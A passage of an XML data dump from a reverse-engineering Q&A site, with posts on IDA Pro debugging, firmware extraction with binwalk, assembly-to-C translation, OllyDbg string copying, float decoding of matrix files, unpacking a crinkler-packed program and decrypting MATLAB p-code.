both. Is that a valid/viable dll build result? I have yet to find any instructions, tutorials, or documentation that suggests this is now possible or ever was. But quite a few microsoft.com and msdn forum links are dead, so this is difficult to research. I feel as if I must be misinterpreting what I'm seeing, and that my amateurish attempts are just confusing me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this was ever a thing, can someone tell me what buzzwords it was called by? My Microsoft jargon is pretty limited, and I'm finding a whole bunch of nothing.&lt;/p&gt;&#xA;" OwnerUserId="17933" LastActivityDate="2016-11-11T06:40:05.783" Title="Am I seeing this dll's innards correctly?" Tags="|windows|decompilation|dll|.net|c#|" AnswerCount="0" CommentCount="3" ClosedDate="2017-03-26T14:48:27.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="13900" PostTypeId="1" CreationDate="2016-11-11T14:49:05.390" Score="2" ViewCount="1741" Body="&lt;p&gt;I use IDA PRO 64bits on windows 10 64 bit, I want use it remote debug a file 64bit by linux. When I run linux_serverx64 in linux and connect then i error:  the file can't be loaded by debugger plupin IDA PRO 64 bit, Please verify that the parameters are valid, and in linux error: execvp(flag): 2: No such file or directory but file flag exist&#xA;. I try debug with file 32 bit, it is ok. Who can guide me how to fix it.&lt;/p&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="17777" LastEditDate="2016-11-11T15:10:55.500" LastActivityDate="2017-05-16T03:32:40.943" Title="Error: the file can't be loaded by debugger plupin IDA PRO 64 bit" Tags="|ida|debuggers|x86-64|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13901" PostTypeId="2" ParentId="3489" CreationDate="2016-11-11T18:07:46.830" Score="1" Body="&lt;p&gt;I'd suggest taking a look at &lt;a href=&quot;http://x64dbg.com/#start&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt;. Despite what the dumb name might suggest, there &lt;em&gt;is&lt;/em&gt; a 32 bit version. With that out of the way, I would give &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt; a try.&lt;/p&gt;&#xA;" OwnerUserId="14098" LastActivityDate="2016-11-11T18:07:46.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13902" PostTypeId="1" CreationDate="2016-11-12T07:35:11.417" Score="1" ViewCount="4008" Body="&lt;p&gt;I am trying to change settings of one modem we have in work. I tried binwalk and FMK and they cannot extract anything. The output of binwalk seems false positive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk modem.bin &#xA;&#xA;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;1226103     0x12B577    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 33554432 bytes&#xA;1403399     0x156A07    LZMA compressed data, properties: 0x01, dictionary size: 33554432 bytes, uncompressed size: 67108864 bytes&#xA;1403495     0x156A67    LZMA compressed data, properties: 0x88, dictionary size: 33554432 bytes, uncompressed size: 553648128 bytes&#xA;&#xA;binwalk -e modem.bin &#xA;&#xA;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;WARNING: Extractor.execute failed to run '7zr e -y '12B577.7z'': [Errno 2] No such file or directory&#xA;1226103     0x12B577    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 33554432 bytes&#xA;WARNING: Extractor.execute failed to run '7zr e -y '156A07.7z'': [Errno 2] No such file or directory&#xA;1403399     0x156A07    LZMA compressed data, properties: 0x01, dictionary size: 33554432 bytes, uncompressed size: 67108864 bytes&#xA;WARNING: Extractor.execute failed to run '7zr e -y '156A67.7z'': [Errno 2] No such file or directory&#xA;1403495     0x156A67    LZMA compressed data, properties: 0x88, dictionary size: 33554432 bytes, uncompressed size: 553648128 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And FMK gave me: No supported file system found! Aborting...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think it is encrypted because strings gave many words. All I know about this firmware is that it is operating system is pSOS 2.1 and runs on Motorola/Freescale PowerQUICC MPC860....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can some one look at the file and help me extract it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B01YRIH4QUaBd3lVZmdEcDRDMms/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;The BIN File&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have a .map file for the modem which may be sent by mistake and it it is listing files Do not know what is the knid of this file??!! &lt;a href=&quot;https://drive.google.com/open?id=0B01YRIH4QUaBdjBNSHNiWXdFclU&quot; rel=&quot;nofollow noreferrer&quot;&gt;.map file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18075" LastEditorUserId="18075" LastEditDate="2016-11-14T11:41:17.497" LastActivityDate="2017-01-28T18:40:55.627" Title="How to extract the OS files from this firmware bin file" Tags="|decompilation|firmware|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13903" PostTypeId="2" ParentId="13902" CreationDate="2016-11-12T11:24:44.560" Score="2" Body="&lt;p&gt;Uncompressed size of 553 MB on a 1.4 MB file suggests it's probably a false positive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Non-uniform entropy and a lot of strings also mean this file isn't packed at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings modem.bin | tail&#xA;tcp_output&#xA;tcp_output REXMT&#xA;tcp_usrreq&#xA;pNA+ NI Loopback Driver&#xA;33333&#xA;~(JEN&#xA;UUUUU&amp;gt;&#xA;&amp;gt;f7ir&#xA;shutdown requested&#xA;Libra - unknown destination instrument ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This file likely contains machine code, try loading it into a disassembler as is. &lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2016-11-12T11:24:44.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13904" PostTypeId="1" CreationDate="2016-11-12T13:56:13.083" Score="3" ViewCount="652" Body="&lt;p&gt;I'm quite confused with the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;movsx(move with sign extension)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm trying to convert assembly code to C. &#xA;but stuck with movsx part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y0ujT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0ujT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the code I got so far. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;int main(){&#xA;    char str[24] = &quot;Aegisone security&quot;;//17+1&#xA;&#xA;    char *a;&#xA;    a = &amp;amp;str[24]-24;&#xA;    char a2 = -*(a+6);&#xA;&#xA;&#xA;    //str[32] = *(a+6);&#xA;&#xA;    //char str2[4]=a;&#xA;    MessageBox(0,&quot;Hello&quot;,&quot;reversing&quot;,0);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can you help show me some example to usage of movsx thing in c code?&#xA;the part I troubled is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOVSX EDX , BYTE PTR DS:[ECX+6]&#xA;MOV DWORD PTR SS: [EBP-20],EDX'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need some more detail explanation about this part&lt;br&gt;&#xA;my C-code above showing little bit different &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOVESX EDX,BYTE PTR DS:[ECX+6]&#xA;NEG EDX&#xA;MOV BYTE PTR SS:[EBP-20],DL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18077" LastEditorUserId="2147" LastEditDate="2016-11-12T16:12:57.340" LastActivityDate="2017-03-12T18:06:10.353" Title="move with sign extension in c code" Tags="|disassembly|assembly|decompilation|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13905" PostTypeId="1" AcceptedAnswerId="13907" CreationDate="2016-11-12T16:03:31.633" Score="0" ViewCount="762" Body="&lt;p&gt;I'm trying to figure out how to copy &quot;properly&quot; strings from memory, I see there are very few plugins available for ollydbg2.x.x and the one I've tried, called &lt;a href=&quot;https://tuts4you.com/request.php?3434&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinaryCopyEx&lt;/a&gt; didn't work ok, for instance, It was impossible to press the buttons to &quot;Copy to clipboard&quot; or &quot;save to file&quot; (using 1920x1080 resolution). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I wouldn't like to come back to ollydbg110 because the packed executables I'm dealing with were having some issues being opened with v110. When I say properly I don't mean using &quot;Copy as a table&quot; command, I'd just want to extract the string content (beautified or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, could you please recommend me any OllyDbg v201 plugin suitable for the task? If not, any other proper method to copy large random strings from start to end offsets would be welcome.&lt;/p&gt;&#xA;" OwnerUserId="18079" LastEditorUserId="18079" LastEditDate="2016-11-12T17:06:28.957" LastActivityDate="2016-11-12T17:06:28.957" Title="How to copy memory strings on OllyDBG v2.01?" Tags="|ollydbg|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13906" PostTypeId="2" ParentId="13904" CreationDate="2016-11-12T16:29:40.080" Score="1" Body="&lt;p&gt;The C compiler handles sign extension automatically for signed variables when they're converted into bigger/wider signed variables. However, you defined that variable as a &lt;code&gt;char&lt;/code&gt; which the standard does not enforce sign-ness for, so the compiler is not obligated to sign-extend that variable assignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the most important part is that only when you replaced the &lt;code&gt;char&lt;/code&gt; with an &lt;code&gt;int&lt;/code&gt; you created a variable 4 bytes long that could actually be sign extended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, removing the minus mark obviously removed the &lt;code&gt;NEG EDX&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you didn't, looks like you still need to change the assignment line (&lt;code&gt;str[32] = *(a+6);&lt;/code&gt;) to treat the destination as a dword sized array, because you're interested in assigning the entire dword. Your code will still have &lt;code&gt;MOV BYTE PTR SS:[EBP-20],DL&lt;/code&gt; instead of &lt;code&gt;MOV DWORD PTR SS: [EBP-20],EDX&lt;/code&gt; unless you have something like &lt;code&gt;(int*)str[8] = *(a+6);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced the 32 with an 8 because we're indexing 4-byte long array instead of a single byte long array.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-11-12T16:29:40.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13907" PostTypeId="2" ParentId="13905" CreationDate="2016-11-12T16:50:20.543" Score="1" Body="&lt;p&gt;Why not use olly's built-in copy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7LC4Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LC4Q.png&quot; alt=&quot;binary copy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click-&gt;Edit-&gt;Binary copy will give you the hex string of bytes, and then to get that sting out of that in python 2 for example, you can run this one liner: &lt;code&gt;binary_output.replace(' ', '').decode('hex')&lt;/code&gt; where &lt;code&gt;binary_output&lt;/code&gt; is the clipboard value after using the binary copy option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way, to copy the string as text into your clipboard (save the overhead of decoding the hex values) would be using the &quot;Binary edit&quot; option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LAhl1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LAhl1.png&quot; alt=&quot;binary edit&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then highlighting the &quot;ASCII&quot; text box and copying the string directly from there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YzDZf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YzDZf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-11-12T16:50:20.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13909" PostTypeId="1" AcceptedAnswerId="13911" CreationDate="2016-11-12T19:30:49.153" Score="3" ViewCount="503" Body="&lt;p&gt;I can't figure out exactly how these binary matrix files are formatted, other than the 2 little-endian 32-bit unsigned integers in the header. Supposedly the following is a 3x3 identity matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0300 0000 0300 0000 0000 803f 0000 0000&#xA;0000 0000 0000 0000 0000 803f 0000 0000&#xA;0000 0000 0000 0000 0000 803f &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the following is a 3x2 matrix with arbitrary numbers whose value I'm not certain of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0300 0000 0200 0000 0000 803f 0000 4040&#xA;0000 a040 0000 0040 0000 8040 0000 c040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, is there an encoding where &lt;code&gt;0000 803f&lt;/code&gt; can translate to a value of &lt;code&gt;1&lt;/code&gt; while &lt;code&gt;0000 0000&lt;/code&gt; translates to &lt;code&gt;0&lt;/code&gt; for each of the matrix values?&lt;/p&gt;&#xA;" OwnerUserId="14561" LastEditorUserId="14561" LastEditDate="2016-11-12T19:52:03.467" LastActivityDate="2016-11-12T20:06:42.040" Title="Interpret binary format of matrix files provided (*.mtx)" Tags="|file-format|binary-diagnosis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13910" PostTypeId="2" ParentId="13909" CreationDate="2016-11-12T19:51:30.810" Score="2" Body="&lt;p&gt;Oh, I just figured it out. I can interpret each of the following 4 byte values after the header as 32-bit signed floating point values in little-endian format. &lt;code&gt;0000 803f&lt;/code&gt; would be equivalent to &lt;code&gt;1.0f&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I determined this in node.js using a &lt;code&gt;DataView&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const u = new Uint8Array(4);&#xA;const d = new DataView(u.buffer);&#xA;&#xA;u[0] = 0x00;&#xA;u[1] = 0x00;&#xA;u[2] = 0x80;&#xA;u[3] = 0x3f;&#xA;&#xA;// interpret 4 bytes at offset of 0 bytes as little-endian 32-bit float&#xA;// DataView.prototype.getFloat32(byteOffset[, littleEndian])&#xA;console.log(d.getFloat32(0, true));&#xA;// outputs 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14561" LastEditorUserId="14561" LastEditDate="2016-11-12T20:06:42.040" LastActivityDate="2016-11-12T20:06:42.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13911" PostTypeId="2" ParentId="13909" CreationDate="2016-11-12T20:01:12.003" Score="4" Body="&lt;p&gt;You've correctly identified the first four bytes as the header or matrix shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to remove those shape bytes and realign the rest of the hex string, the identify matrix becomes very clear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000 803f 0000 0000 0000 0000&#xA;0000 0000 0000 803f 0000 0000&#xA;0000 0000 0000 0000 0000 803f &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can easily see here that the text aligns to the shape of an identity matrix, a cell is four bytes, and the value of &lt;code&gt;0000 803f&lt;/code&gt; represents &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This just happens to be the &lt;a href=&quot;https://en.wikipedia.org/wiki/IEEE_floating_point&quot; rel=&quot;nofollow noreferrer&quot;&gt;IEEE 754&lt;/a&gt; encoding of &lt;code&gt;1.0&lt;/code&gt;. This is either something you can recognise with some experience or have python show you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In [1]: import struct&#xA;&#xA;In [3]: struct.unpack('f', &quot;0000803f&quot;.decode('hex'))&#xA;Out[3]: (1.0,)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-11-12T20:01:12.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13912" PostTypeId="1" AcceptedAnswerId="13938" CreationDate="2016-11-12T20:08:47.760" Score="2" ViewCount="2073" Body="&lt;p&gt;I'm trying to learn how to unpack a simple executable which has been compressed with &lt;a href=&quot;http://crinkler.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;crinkler&lt;/a&gt;, let be the nasm listing here compressed with crinkler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example1.asm&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global start&#xA;; kernel32.lib Exports&#xA;extern _ExitProcess@4&#xA;extern _GetStdHandle@4&#xA;extern _WriteFile@20&#xA;&#xA;section .text&#xA;&#xA;start:&#xA;    ; DWORD  bytes;&#xA;    mov     ebp, esp&#xA;    sub     esp, 4&#xA;&#xA;    ; hStdOut = GetstdHandle( STD_OUTPUT_HANDLE)&#xA;    push    -11&#xA;    call    _GetStdHandle@4&#xA;    mov     ebx, eax&#xA;&#xA;    ; WriteFile( hstdOut, message, length(message), &amp;amp;bytes, 0);&#xA;    push    0&#xA;    lea     eax, [ebp-4]&#xA;    push    eax&#xA;    push    (message_end - message)&#xA;    push    message&#xA;    push    ebx&#xA;    call    _WriteFile@20&#xA;&#xA;    ; ExitProcess(0)&#xA;    push    0&#xA;    call    _ExitProcess@4&#xA;&#xA;    ; never here&#xA;    hlt&#xA;message:&#xA;    db      'Hello, World', 10&#xA;message_end:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To generate the exe I'm using latest version of &lt;a href=&quot;http://www.nasm.us/pub/nasm/releasebuilds/2.12.03rc1/win64/nasm-2.12.03rc1-win64.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;nasm&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://crinkler.net/crinkler20.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;crinkler&lt;/a&gt; like this &lt;code&gt;nasm -f win32 example1.asm &amp;amp;&amp;amp; crinkler example1.obj kernel32.lib user32.lib opengl32.lib winmm.lib gdi32.lib legacy_stdio_definitions.lib oldnames.lib ucrt.lib /out:example1_crinkler.exe /CRINKLER /HASHTRIES:300 /COMPMODE:SLOW /ORDERTRIES:4000 /entry:start /subsystem:console&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To unpack the exe I'm using &lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg v201&lt;/a&gt; and the latest version of &lt;a href=&quot;https://low-priority.appspot.com/ollydumpex/OllyDumpEx.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDumpEx v1.50&lt;/a&gt;. Problem here is, the OllyDebugEx's website only has these sections {Overview, Features, Screenshots, Supported Debuggers, Download, Changelog}, no documentation at all, which means the plugin assumes you've already experience with the whole bunch of options/terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I've reached the point where I've figured out how to uncompress my test executable and finding the OEP, current status below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fvVld.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fvVld.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to know now is understand the whole set of available options provided by OllyDumpEx:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Module {PE Base, List Section, Dump Mode, PE Source}&lt;/li&gt;&#xA;&lt;li&gt;Search { Search Area, Search Mode}&lt;/li&gt;&#xA;&lt;li&gt;PE {Image Base, Section Align, Entry Point}&lt;/li&gt;&#xA;&lt;li&gt;Options&lt;/li&gt;&#xA;&lt;li&gt;Section&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once I know how to dump it properly I'd also like to know how to fix it so I'll get the final uncompressed exe.&lt;/p&gt;&#xA;" OwnerUserId="18079" LastEditorUserId="18079" LastEditDate="2016-11-15T09:09:50.593" LastActivityDate="2016-11-20T05:32:31.653" Title="Trying to decompress a hello world program using OllyDbg v201" Tags="|windows|ollydbg|tools|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13913" PostTypeId="1" CreationDate="2016-11-13T01:00:32.063" Score="4" ViewCount="830" Body="&lt;p&gt;I have an OpenCL 2.0 program with various &lt;code&gt;.bin&lt;/code&gt; files that I would like to reverse.  &lt;code&gt;file&lt;/code&gt; shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; file k.bin&#xA;k.bin: ELF 64-bit LSB executable, *unknown arch 0x40c* version 1 (SYSV),&#xA;corrupted program header size, not stripped. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe these files to be OpenCL kernel files. Opening the file in &lt;code&gt;vim&lt;/code&gt; shows many OpenCL references. At the end of the binary blob there are plaintext attributes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uniqueid:1038&#xA;;memory:uavprivate:0&#xA;;memory:datareqd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best current approach to disassemble these binaries?&lt;/p&gt;&#xA;" OwnerUserId="18081" LastEditorUserId="53" LastEditDate="2017-08-03T07:23:18.910" LastActivityDate="2017-08-05T07:54:01.543" Title="Tools for RE OpenCL Kernel" Tags="|disassembly|tools|amd64|graphics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13915" PostTypeId="2" ParentId="13912" CreationDate="2016-11-13T17:52:18.297" Score="1" Body="&lt;p&gt;Since you have the original program and can check how the OEP looks like, maybe just try debugging the unpacker until you reach the code that looks like the OEP. Then you can try to generalize it to other executables.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-13T17:52:18.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13916" PostTypeId="1" CreationDate="2016-11-13T19:18:20.327" Score="1" ViewCount="141" Body="&lt;p&gt;I was wondering if you guys could help me.I have an application for OSX it is called Traktor..I want to extract an image of a vinyl and edit it than reassign it back to the application...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qjr2P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qjr2P.jpg&quot; alt=&quot;This is the original image.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add a customized image of a vinyl with my name on it..like this example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gvOvH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gvOvH.jpg&quot; alt=&quot;This is an example of an edited image of a vinyl with a customized img&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me how to accomplish this on mac? I can do it on windows machine but not on OSX..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you very much&lt;/p&gt;&#xA;" OwnerUserId="18085" LastEditorUserId="18085" LastEditDate="2016-11-13T19:25:10.997" LastActivityDate="2017-02-20T10:13:16.073" Title="Extract an image out of a application and customize after edited" Tags="|tools|osx|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13918" PostTypeId="1" CreationDate="2016-11-14T03:56:12.990" Score="3" ViewCount="22040" Body="&lt;p&gt;A simple disp(&quot;Hello World&quot;) gave me this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7630 312e 3030 7630 302e 3030 0007 301c&#xA;d3e7 7fb1 0000 0004 0000 002a 0000 0035&#xA;4c97 ee76 779b d4b9 3948 d7ea 798c 05ba&#xA;c67a 2a56 c4de d7f9 7446 1d59 0472 b700&#xA;cfc0 84f6 6c3d a042 08a7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;pcode&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Create content-obscured, executable files (pcoded files).&#xA;     pcode F1 F2... makes content-obscured versions of F1, F2...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The arguments F1, F2... must describe MATLAB functions or files &#xA;     containing MATLAB code.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the flag -INPLACE is used, the result is placed in the same&#xA;     directory in which the corresponding file was found.&#xA;     Otherwise, the result is placed in the current directory.  Any&#xA;     existing results will be overwritten.  Needed private and class &#xA;     directories will be created in the current directory if they do&#xA;     not already exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastEditorUserId="4154" LastEditDate="2016-11-14T06:05:25.047" LastActivityDate="2017-10-26T15:51:04.180" Title="Is it possible to convert matlab p-code to something viewable?" Tags="|decompilation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13919" PostTypeId="2" ParentId="13918" CreationDate="2016-11-14T07:05:42.813" Score="6" Body="&lt;p&gt;It seems like &lt;a href=&quot;https://de.mathworks.com/matlabcentral/newsreader/view_thread/165381&quot; rel=&quot;nofollow noreferrer&quot;&gt;.p files are AES encrypted&lt;/a&gt;, with an unknown key, and have been since 2008 from the date of these posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as matlab itself can read those files, it needs to include the decryption algorithm and key, from where it can be reverse engineered. And it seems like &lt;a href=&quot;https://sites.google.com/site/sippeyfunlabs/matlab-hacks/please-do-not-secure-your-password-in-matlab-p-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;someone has done this&lt;/a&gt; and produced an online .p code decryptor. They won't share the code, but you can use the &lt;a href=&quot;http://web-service.sippey.org/de_pcode.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;online decryptor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to answer your question: Yes, there is an online decriptor for it.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-10-26T15:51:04.180" LastActivityDate="2017-10-26T15:51:04.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13921" PostTypeId="2" ParentId="12014" CreationDate="2016-11-14T09:31:49.330" Score="4" Body="&lt;p&gt;Sorry for the late answer but I only now noticed this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer&lt;/em&gt;: I work at Hex-Rays, mainly on IDA development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It so happens that we have a few blind users. With their help, in recent versions of IDA (especially 6.95) we made big improvements for accessibility, especially on Windows and Linux (OS X is working somewhat but not as well). So I suggest you to try &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_demo.shtml&quot; rel=&quot;noreferrer&quot;&gt;the demo version&lt;/a&gt; to see how it works with your screen reader. Feel free to contact us with any issues; we're always willing to make IDA even more accessible.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-14T09:31:49.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13923" PostTypeId="1" AcceptedAnswerId="13924" CreationDate="2016-11-14T11:55:05.473" Score="3" ViewCount="2430" Body="&lt;p&gt;I have a probably executable file for Motorola/Freescale/NXP PowerQUICC MPC860 and cannot disassemble it with IDA Pro since I cannot find the correct processor type in IDA?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA list MPC860 as supported see:&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/processors.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;HEX Rays Supported Processors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is not listed, Any help or suggestion which type should I choose for this file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/open?id=0B01YRIH4QUaBd3lVZmdEcDRDMms&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIN FILE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is another text file list some file addresses and says it is memory map? Can it help in reverse engineering?&#xA;[MAP 